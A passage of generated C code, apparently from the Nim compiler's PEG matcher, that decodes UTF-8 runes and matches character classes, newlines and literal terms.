if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 4))) == ((NU) 14))) goto LA146_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 3)))) goto LA150_;
aX60gensym26__3 = ((NI32) ((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 15))) << (NU64)(((NI) 12))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63)))));
result += ((NI) 3);
}
goto LA148_;
LA150_: ;
{
aX60gensym26__3 = ((NI32) 65533);
result += ((NI) 1);
}
LA148_: ;
}
goto LA133_;
LA146_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 3))) == ((NU) 30))) goto LA154_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 4)))) goto LA158_;
aX60gensym26__3 = ((NI32) ((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 7))) << (NU64)(((NI) 18))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63)))));
result += ((NI) 4);
}
goto LA156_;
LA158_: ;
{
aX60gensym26__3 = ((NI32) 65533);
result += ((NI) 1);
}
LA156_: ;
}
goto LA133_;
LA154_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 2))) == ((NU) 62))) goto LA162_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 5)))) goto LA166_;
aX60gensym26__3 = ((NI32) ((NU)((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 3))) << (NU64)(((NI) 24))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 18)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 4))])))) & ((NU) 63)))));
result += ((NI) 5);
}
goto LA164_;
LA166_: ;
{
aX60gensym26__3 = ((NI32) 65533);
result += ((NI) 1);
}
LA164_: ;
}
goto LA133_;
LA162_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 1))) == ((NU) 126))) goto LA170_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 6)))) goto LA174_;
aX60gensym26__3 = ((NI32) ((NU)((NU)((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 1))) << (NU64)(((NI) 30))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 24)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 18)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 4))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 5))])))) & ((NU) 63)))));
result += ((NI) 6);
}
goto LA172_;
LA174_: ;
{
aX60gensym26__3 = ((NI32) 65533);
result += ((NI) 1);
}
LA172_: ;
}
goto LA133_;
LA170_: ;
{
aX60gensym26__3 = ((NI32) (((NU) (((NU8)(sX60gensym26_->data[result]))))));
result += ((NI) 1);
}
LA133_: ;
{
NIM_BOOL T180_;
T180_ = (NIM_BOOL)0;
T180_ = nucisUpper(aX60gensym26__3);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
if (!T180_) goto LA181_;
result -= startX60gensym26_;
}
goto LA178_;
LA181_: ;
{
result = ((NI) -1);
}
LA178_: ;
}
goto LA129_;
LA131_: ;
{
result = ((NI) -1);
}
LA129_: ;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 7):
{
{
NI32 aX60gensym26__4;
if (!(startX60gensym26_ < (sX60gensym26_ ? sX60gensym26_->Sup.len : 0))) goto LA188_;
aX60gensym26__4 = (NI32)0;
result = startX60gensym26_;
{
if (!((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) <= (NU64)(((NU) 127)))) goto LA192_;
aX60gensym26__4 = ((NI32) (((NU) (((NU8)(sX60gensym26_->data[result]))))));
result += ((NI) 1);
}
goto LA190_;
LA192_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 5))) == ((NU) 6))) goto LA195_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 2)))) goto LA199_;
aX60gensym26__4 = ((NI32) ((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 31))) << (NU64)(((NI) 6))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63)))));
result += ((NI) 2);
}
goto LA197_;
LA199_: ;
{
aX60gensym26__4 = ((NI32) 65533);
result += ((NI) 1);
}
LA197_: ;
}
goto LA190_;
LA195_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 4))) == ((NU) 14))) goto LA203_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 3)))) goto LA207_;
aX60gensym26__4 = ((NI32) ((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 15))) << (NU64)(((NI) 12))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63)))));
result += ((NI) 3);
}
goto LA205_;
LA207_: ;
{
aX60gensym26__4 = ((NI32) 65533);
result += ((NI) 1);
}
LA205_: ;
}
goto LA190_;
LA203_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 3))) == ((NU) 30))) goto LA211_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 4)))) goto LA215_;
aX60gensym26__4 = ((NI32) ((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 7))) << (NU64)(((NI) 18))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63)))));
result += ((NI) 4);
}
goto LA213_;
LA215_: ;
{
aX60gensym26__4 = ((NI32) 65533);
result += ((NI) 1);
}
LA213_: ;
}
goto LA190_;
LA211_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 2))) == ((NU) 62))) goto LA219_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 5)))) goto LA223_;
aX60gensym26__4 = ((NI32) ((NU)((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 3))) << (NU64)(((NI) 24))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 18)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 4))])))) & ((NU) 63)))));
result += ((NI) 5);
}
goto LA221_;
LA223_: ;
{
aX60gensym26__4 = ((NI32) 65533);
result += ((NI) 1);
}
LA221_: ;
}
goto LA190_;
LA219_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 1))) == ((NU) 126))) goto LA227_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 6)))) goto LA231_;
aX60gensym26__4 = ((NI32) ((NU)((NU)((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 1))) << (NU64)(((NI) 30))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 24)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 18)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 4))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 5))])))) & ((NU) 63)))));
result += ((NI) 6);
}
goto LA229_;
LA231_: ;
{
aX60gensym26__4 = ((NI32) 65533);
result += ((NI) 1);
}
LA229_: ;
}
goto LA190_;
LA227_: ;
{
aX60gensym26__4 = ((NI32) (((NU) (((NU8)(sX60gensym26_->data[result]))))));
result += ((NI) 1);
}
LA190_: ;
{
NIM_BOOL T237_;
T237_ = (NIM_BOOL)0;
T237_ = nucisTitle(aX60gensym26__4);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
if (!T237_) goto LA238_;
result -= startX60gensym26_;
}
goto LA235_;
LA238_: ;
{
result = ((NI) -1);
}
LA235_: ;
}
goto LA186_;
LA188_: ;
{
result = ((NI) -1);
}
LA186_: ;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
{
{
NI32 aX60gensym26__5;
if (!(startX60gensym26_ < (sX60gensym26_ ? sX60gensym26_->Sup.len : 0))) goto LA245_;
aX60gensym26__5 = (NI32)0;
result = startX60gensym26_;
{
if (!((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) <= (NU64)(((NU) 127)))) goto LA249_;
aX60gensym26__5 = ((NI32) (((NU) (((NU8)(sX60gensym26_->data[result]))))));
result += ((NI) 1);
}
goto LA247_;
LA249_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 5))) == ((NU) 6))) goto LA252_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 2)))) goto LA256_;
aX60gensym26__5 = ((NI32) ((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 31))) << (NU64)(((NI) 6))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63)))));
result += ((NI) 2);
}
goto LA254_;
LA256_: ;
{
aX60gensym26__5 = ((NI32) 65533);
result += ((NI) 1);
}
LA254_: ;
}
goto LA247_;
LA252_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 4))) == ((NU) 14))) goto LA260_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 3)))) goto LA264_;
aX60gensym26__5 = ((NI32) ((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 15))) << (NU64)(((NI) 12))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63)))));
result += ((NI) 3);
}
goto LA262_;
LA264_: ;
{
aX60gensym26__5 = ((NI32) 65533);
result += ((NI) 1);
}
LA262_: ;
}
goto LA247_;
LA260_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 3))) == ((NU) 30))) goto LA268_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 4)))) goto LA272_;
aX60gensym26__5 = ((NI32) ((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 7))) << (NU64)(((NI) 18))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63)))));
result += ((NI) 4);
}
goto LA270_;
LA272_: ;
{
aX60gensym26__5 = ((NI32) 65533);
result += ((NI) 1);
}
LA270_: ;
}
goto LA247_;
LA268_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 2))) == ((NU) 62))) goto LA276_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 5)))) goto LA280_;
aX60gensym26__5 = ((NI32) ((NU)((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 3))) << (NU64)(((NI) 24))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 18)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 4))])))) & ((NU) 63)))));
result += ((NI) 5);
}
goto LA278_;
LA280_: ;
{
aX60gensym26__5 = ((NI32) 65533);
result += ((NI) 1);
}
LA278_: ;
}
goto LA247_;
LA276_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 1))) == ((NU) 126))) goto LA284_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 6)))) goto LA288_;
aX60gensym26__5 = ((NI32) ((NU)((NU)((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 1))) << (NU64)(((NI) 30))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 24)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 18)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 4))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 5))])))) & ((NU) 63)))));
result += ((NI) 6);
}
goto LA286_;
LA288_: ;
{
aX60gensym26__5 = ((NI32) 65533);
result += ((NI) 1);
}
LA286_: ;
}
goto LA247_;
LA284_: ;
{
aX60gensym26__5 = ((NI32) (((NU) (((NU8)(sX60gensym26_->data[result]))))));
result += ((NI) 1);
}
LA247_: ;
{
NIM_BOOL T294_;
T294_ = (NIM_BOOL)0;
T294_ = nucisWhiteSpace(aX60gensym26__5);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
if (!T294_) goto LA295_;
result -= startX60gensym26_;
}
goto LA292_;
LA295_: ;
{
result = ((NI) -1);
}
LA292_: ;
}
goto LA243_;
LA245_: ;
{
result = ((NI) -1);
}
LA243_: ;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 20):
{
result = (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - startX60gensym26_);
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 3):
{
{
NIM_BOOL T303_;
T303_ = (NIM_BOOL)0;
T303_ = (startX60gensym26_ < (sX60gensym26_ ? sX60gensym26_->Sup.len : 0));
if (!(T303_)) goto LA304_;
T303_ = ((NU8)(sX60gensym26_->data[startX60gensym26_]) == (NU8)(10));
LA304_: ;
if (!T303_) goto LA305_;
result = ((NI) 1);
}
goto LA301_;
LA305_: ;
{
NIM_BOOL T308_;
T308_ = (NIM_BOOL)0;
T308_ = (startX60gensym26_ < (sX60gensym26_ ? sX60gensym26_->Sup.len : 0));
if (!(T308_)) goto LA309_;
T308_ = ((NU8)(sX60gensym26_->data[startX60gensym26_]) == (NU8)(13));
LA309_: ;
if (!T308_) goto LA310_;
{
NIM_BOOL T314_;
T314_ = (NIM_BOOL)0;
T314_ = ((NI)(startX60gensym26_ + ((NI) 1)) < (sX60gensym26_ ? sX60gensym26_->Sup.len : 0));
if (!(T314_)) goto LA315_;
T314_ = ((NU8)(sX60gensym26_->data[(NI)(startX60gensym26_ + ((NI) 1))]) == (NU8)(10));
LA315_: ;
if (!T314_) goto LA316_;
result = ((NI) 2);
}
goto LA312_;
LA316_: ;
{
result = ((NI) 1);
}
LA312_: ;
}
goto LA301_;
LA310_: ;
{
result = ((NI) -1);
}
LA301_: ;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
{
result = (pX60gensym26_.term ? pX60gensym26_.term->Sup.len : 0);
{
NI iX60gensym26_;
NI colontmp_;
NI res;
iX60gensym26_ = (NI)0;
colontmp_ = (NI)0;
colontmp_ = (NI)(result - ((NI) 1));
res = ((NI) 0);
{
while (1) {
if (!(res <= colontmp_)) goto LA323;
iX60gensym26_ = res;
{
NIM_BOOL T326_;
T326_ = (NIM_BOOL)0;
T326_ = ((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) <= (NI)(startX60gensym26_ + iX60gensym26_));
if (T326_) goto LA327_;
T326_ = !(((NU8)(pX60gensym26_.term->data[iX60gensym26_]) == (NU8)(sX60gensym26_->data[(NI)(startX60gensym26_ + iX60gensym26_)])));
LA327_: ;
if (!T326_) goto LA328_;
result = ((NI) -1);
goto LA321;
}
LA328_: ;
res += ((NI) 1);
} LA323: ;
}
} LA321: ;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
{
NI iX60gensym26__2;
NI32 aX60gensym26__6;
NI32 bX60gensym26_;
iX60gensym26__2 = ((NI) 0);
aX60gensym26__6 = (NI32)0;
bX60gensym26_ = (NI32)0;
result = startX60gensym26_;
{
while (1) {
if (!(iX60gensym26__2 < (pX60gensym26_.term ? pX60gensym26_.term->Sup.len : 0))) goto LA332;
{
if (!((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) <= result)) goto LA335_;
result = ((NI) -1);
goto LA331;
}
LA335_: ;
{
if (!((NU64)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__2]))))) <= (NU64)(((NU) 127)))) goto LA339_;
aX60gensym26__6 = ((NI32) (((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__2]))))));
iX60gensym26__2 += ((NI) 1);
}
goto LA337_;
LA339_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__2]))))) >> (NU64)(((NI) 5))) == ((NU) 6))) goto LA342_;
{
if (!(iX60gensym26__2 <= (NI)((pX60gensym26_.term ? pX60gensym26_.term->Sup.len : 0) - ((NI) 2)))) goto LA346_;
aX60gensym26__6 = ((NI32) ((NU)((NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__2])))) & ((NU) 31))) << (NU64)(((NI) 6))) | (NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__2 + ((NI) 1))])))) & ((NU) 63)))));
iX60gensym26__2 += ((NI) 2);
}
goto LA344_;
LA346_: ;
{
aX60gensym26__6 = ((NI32) 65533);
iX60gensym26__2 += ((NI) 1);
}
LA344_: ;
}
goto LA337_;
LA342_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__2]))))) >> (NU64)(((NI) 4))) == ((NU) 14))) goto LA350_;
{
if (!(iX60gensym26__2 <= (NI)((pX60gensym26_.term ? pX60gensym26_.term->Sup.len : 0) - ((NI) 3)))) goto LA354_;
aX60gensym26__6 = ((NI32) ((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__2])))) & ((NU) 15))) << (NU64)(((NI) 12))) | (NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__2 + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__2 + ((NI) 2))])))) & ((NU) 63)))));
iX60gensym26__2 += ((NI) 3);
}
goto LA352_;
LA354_: ;
{
aX60gensym26__6 = ((NI32) 65533);
iX60gensym26__2 += ((NI) 1);
}
LA352_: ;
}
goto LA337_;
LA350_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__2]))))) >> (NU64)(((NI) 3))) == ((NU) 30))) goto LA358_;
{
if (!(iX60gensym26__2 <= (NI)((pX60gensym26_.term ? pX60gensym26_.term->Sup.len : 0) - ((NI) 4)))) goto LA362_;
aX60gensym26__6 = ((NI32) ((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__2])))) & ((NU) 7))) << (NU64)(((NI) 18))) | (NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__2 + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__2 + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__2 + ((NI) 3))])))) & ((NU) 63)))));
iX60gensym26__2 += ((NI) 4);
}
goto LA360_;
LA362_: ;
{
aX60gensym26__6 = ((NI32) 65533);
iX60gensym26__2 += ((NI) 1);
}
LA360_: ;
}
goto LA337_;
LA358_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__2]))))) >> (NU64)(((NI) 2))) == ((NU) 62))) goto LA366_;
{
if (!(iX60gensym26__2 <= (NI)((pX60gensym26_.term ? pX60gensym26_.term->Sup.len : 0) - ((NI) 5)))) goto LA370_;
aX60gensym26__6 = ((NI32) ((NU)((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__2])))) & ((NU) 3))) << (NU64)(((NI) 24))) | (NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__2 + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 18)))) | (NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__2 + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__2 + ((NI) 3))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__2 + ((NI) 4))])))) & ((NU) 63)))));
iX60gensym26__2 += ((NI) 5);
}
goto LA368_;
LA370_: ;
{
aX60gensym26__6 = ((NI32) 65533);
iX60gensym26__2 += ((NI) 1);
}
LA368_: ;
}
goto LA337_;
LA366_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__2]))))) >> (NU64)(((NI) 1))) == ((NU) 126))) goto LA374_;
{
if (!(iX60gensym26__2 <= (NI)((pX60gensym26_.term ? pX60gensym26_.term->Sup.len : 0) - ((NI) 6)))) goto LA378_;
aX60gensym26__6 = ((NI32) ((NU)((NU)((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__2])))) & ((NU) 1))) << (NU64)(((NI) 30))) | (NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__2 + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 24)))) | (NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__2 + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 18)))) | (NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__2 + ((NI) 3))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__2 + ((NI) 4))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__2 + ((NI) 5))])))) & ((NU) 63)))));
iX60gensym26__2 += ((NI) 6);
}
goto LA376_;
LA378_: ;
{
aX60gensym26__6 = ((NI32) 65533);
iX60gensym26__2 += ((NI) 1);
}
LA376_: ;
}
goto LA337_;
LA374_: ;
{
aX60gensym26__6 = ((NI32) (((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__2]))))));
iX60gensym26__2 += ((NI) 1);
}
LA337_: ;
{
if (!((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) <= (NU64)(((NU) 127)))) goto LA384_;
bX60gensym26_ = ((NI32) (((NU) (((NU8)(sX60gensym26_->data[result]))))));
result += ((NI) 1);
}
goto LA382_;
LA384_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 5))) == ((NU) 6))) goto LA387_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 2)))) goto LA391_;
bX60gensym26_ = ((NI32) ((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 31))) << (NU64)(((NI) 6))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63)))));
result += ((NI) 2);
}
goto LA389_;
LA391_: ;
{
bX60gensym26_ = ((NI32) 65533);
result += ((NI) 1);
}
LA389_: ;
}
goto LA382_;
LA387_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 4))) == ((NU) 14))) goto LA395_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 3)))) goto LA399_;
